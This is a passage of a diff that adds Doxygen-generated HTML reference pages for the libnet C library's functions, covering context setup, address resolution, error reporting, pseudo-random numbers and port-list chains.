+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>a big endian IP address suitable for use in a libnet_build function or -1 </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a95" doxytag="libnet-functions.h::libnet_get_ipaddr6" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> struct libnet_in6_addr libnet_get_ipaddr6 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+This function is not yet implemented under IPv6. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>well, nothing yet </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a12" doxytag="libnet-functions.h::libnet_get_prand" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int32_t libnet_get_prand </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">int&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>mod</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Generates an unsigned psuedo-random value within the range specified by mod. LIBNET_PR2 0 - 1 LIBNET_PR8 0 - 255 LIBNET_PR16 0 - 32767 LIBNET_PRu16 0 - 65535 LIBNET_PR32 0 - 2147483647 LIBNET_PRu32 0 - 4294967295<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>mod</em>&nbsp;</td><td>one the of LIBNET_PR* constants </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>1 on success, -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a6" doxytag="libnet-functions.h::libnet_getdevice" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int8_t* libnet_getdevice </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Returns the canonical name of the device used for packet injection. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>the canonical name of the device used for packet injection. Note it can be NULL without being an error. </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a9" doxytag="libnet-functions.h::libnet_geterror" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> char* libnet_geterror </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Returns the last error set inside of the referenced libnet context. This function should be called anytime a function fails or an error condition is detected inside of libnet. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>an error string or NULL if no error has occured </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a5" doxytag="libnet-functions.h::libnet_getfd" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_getfd </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Returns the FILENO of the file descriptor used for packet injection. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>the file number of the file descriptor used for packet injection </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a81" doxytag="libnet-functions.h::libnet_getgre_length" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int32_t libnet_getgre_length </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>fv</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap><code> [inline]</code></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a10" doxytag="libnet-functions.h::libnet_getpacket_size" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int32_t libnet_getpacket_size </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Returns the sum of the size of all of the pblocks inside of l (this should be the resuling packet size). <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>the size of the packet in l </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a7" doxytag="libnet-functions.h::libnet_getpbuf" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int8_t* libnet_getpbuf </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Returns the pblock buffer contents for the specified ptag; a subsequent call to <a class="el" href="libnet-functions_8h.html#a8">libnet_getpbuf_size()</a> should be made to determine the size of the buffer. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>the ptag reference number </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>a pointer to the pblock buffer or NULL on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a8" doxytag="libnet-functions.h::libnet_getpbuf_size" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int32_t libnet_getpbuf_size </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Returns the pblock buffer size for the specified ptag; a previous call to <a class="el" href="libnet-functions_8h.html#a7">libnet_getpbuf()</a> should be made to pull the actual buffer contents. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>the ptag reference number </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>the size of the pblock buffer </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a97" doxytag="libnet-functions.h::libnet_hex_aton" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int8_t* libnet_hex_aton </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>int *&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Takes a colon separated hexidecimal address (from the command line) and returns a bytestring suitable for use in a libnet_build function. Note this function performs an implicit malloc and the return value should be freed after its use. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>s</em>&nbsp;</td><td>the string to be parsed </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>the resulting size of the returned byte string </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>a byte string or NULL on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a1" doxytag="libnet-functions.h::libnet_init" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_t* libnet_init </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">int&nbsp;</td>
+ <td class="mdname" nowrap> <em>injection_type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>char *&nbsp;</td>
+ <td class="mdname" nowrap> <em>device</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>char *&nbsp;</td>
+ <td class="mdname" nowrap> <em>err_buf</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Creates the libnet environment. It initializes the library and returns a libnet context. If the injection_type is LIBNET_LINK or LIBNET_LINK_ADV, the function initializes the injection primitives for the link-layer interface enabling the application programmer to build packets starting at the data-link layer (which also provides more granular control over the IP layer). If libnet uses the link-layer and the device argument is non-NULL, the function attempts to use the specified network device for packet injection. This is either a canonical string that references the device (such as "eth0" for a 100MB Ethernet card on Linux or "fxp0" for a 100MB Ethernet card on OpenBSD) or the dots and decimals representation of the device's IP address (192.168.0.1). If device is NULL, libnet attempts to find a suitable device to use. If the injection_type is LIBNET_RAW4 or LIBNET_RAW4_ADV, the function initializes the injection primitives for the IPv4 raw socket interface. The final argument, err_buf, should be a buffer of size LIBNET_ERRBUF_SIZE and holds an error message if the function fails. This function requires root privileges to execute successfully. Upon success, the function returns a valid libnet context for use in later function calls; upon failure, the function returns NULL. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>injection_type</em>&nbsp;</td><td>packet injection type (LIBNET_LINK, LIBNET_LINK_ADV, LIBNET_RAW4, LIBNET_RAW4_ADV, LIBNET_RAW6, LIBNET_RAW6_ADV) </td></tr>
+ <tr><td valign=top><em>device</em>&nbsp;</td><td>the interface to use (NULL and libnet will choose one) </td></tr>
+ <tr><td valign=top><em>err_buf</em>&nbsp;</td><td>will contain an error message on failure </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>libnet context ready for use or NULL on error. </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a15" doxytag="libnet-functions.h::libnet_name2addr4" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int32_t libnet_name2addr4 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>char *&nbsp;</td>
+ <td class="mdname" nowrap> <em>host_name</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>use_name</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Takes a dotted decimal string or a canonical DNS name and returns a network byte ordered IPv4 address. This may incur a DNS lookup if mode is set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and host_name refers to a canonical DNS name. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>host_name</em>&nbsp;</td><td>pointer to a string containing a presentation format host name </td></tr>
+ <tr><td valign=top><em>use_name</em>&nbsp;</td><td>LIBNET_RESOLVE or LIBNET_DONT_RESOLVE </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>network byte ordered IPv4 address or -1 (2^32 - 1) on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a16" doxytag="libnet-functions.h::libnet_name2addr6" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> struct libnet_in6_addr libnet_name2addr6 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>char *&nbsp;</td>
+ <td class="mdname" nowrap> <em>host_name</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>use_name</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Takes a dotted decimal string or a canonical DNS name and returns a network byte ordered IPv6 address. This may incur a DNS lookup if mode is set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and host_name refers to a canonical DNS name. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>host_name</em>&nbsp;</td><td>pointer to a string containing a presentation format host name </td></tr>
+ <tr><td valign=top><em>use_name</em>&nbsp;</td><td>LIBNET_RESOLVE or LIBNET_DONT_RESOLVE </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>network byte ordered IPv6 address structure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a20" doxytag="libnet-functions.h::libnet_plist_chain_dump" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_plist_chain_dump </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_plist_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>plist</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Runs through the port list and prints the contents of the port list chain list to stdout. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>plist</em>&nbsp;</td><td>previously created portlist </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>1 on success, -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a21" doxytag="libnet-functions.h::libnet_plist_chain_dump_string" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> char* libnet_plist_chain_dump_string </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_plist_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>plist</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Runs through the port list and prints the contents of the port list chain list to string. This function uses strdup and is not re-entrant. It also has a memory leak and should not really be used. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>plist</em>&nbsp;</td><td>previously created portlist </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>a printable string containing the port list contents on success NULL on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a22" doxytag="libnet-functions.h::libnet_plist_chain_free" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_plist_chain_free </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_plist_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>plist</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Frees all memory associated with port list chain. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>plist</em>&nbsp;</td><td>previously created portlist </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>1 on success, -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a18" doxytag="libnet-functions.h::libnet_plist_chain_new" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_plist_chain_new </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_plist_t **&nbsp;</td>
+ <td class="mdname" nowrap> <em>plist</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>char *&nbsp;</td>
+ <td class="mdname" nowrap> <em>token_list</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Creates a new port list. Port list chains are useful for TCP and UDP-based applications that need to send packets to a range of ports (contiguous or otherwise). The port list chain, which token_list points to, should contain a series of int8_tacters from the following list: "0123456789,-" of the general format "x - y, z", where "xyz" are port numbers between 0 and 65,535. plist points to the front of the port list chain list for use in further libnet_plist_chain() functions. Upon success, the function returns 1. Upon failure, the function returns -1 and <a class="el" href="libnet-functions_8h.html#a9">libnet_geterror()</a> can tell you why. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>plist</em>&nbsp;</td><td>if successful, will refer to the portlist, if not, NULL </td></tr>
+ <tr><td valign=top><em>token_list</em>&nbsp;</td><td>string containing the port list primitive </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>1 on success, -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a19" doxytag="libnet-functions.h::libnet_plist_chain_next_pair" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_plist_chain_next_pair </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_plist_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>plist</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>bport</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>eport</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Returns the next port list chain pair from the port list chain plist. bport and eport contain the starting port number and ending port number, respectively. Upon success, the function returns 1 and fills in the port variables; however, if the list is empty, the function returns 0 and sets both port variables to 0. Upon failure, the function returns -1. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>plist</em>&nbsp;</td><td>previously created portlist </td></tr>
+ <tr><td valign=top><em>bport</em>&nbsp;</td><td>will contain the beginning port number or 0 </td></tr>
+ <tr><td valign=top><em>eport</em>&nbsp;</td><td>will contain the ending port number or 0 </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>1 on success, 0 if empty, -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a11" doxytag="libnet-functions.h::libnet_seed_prand" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_seed_prand </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Seeds the psuedo-random number generator. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>1 on success, -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a4" doxytag="libnet-functions.h::libnet_stats" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> void libnet_stats </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
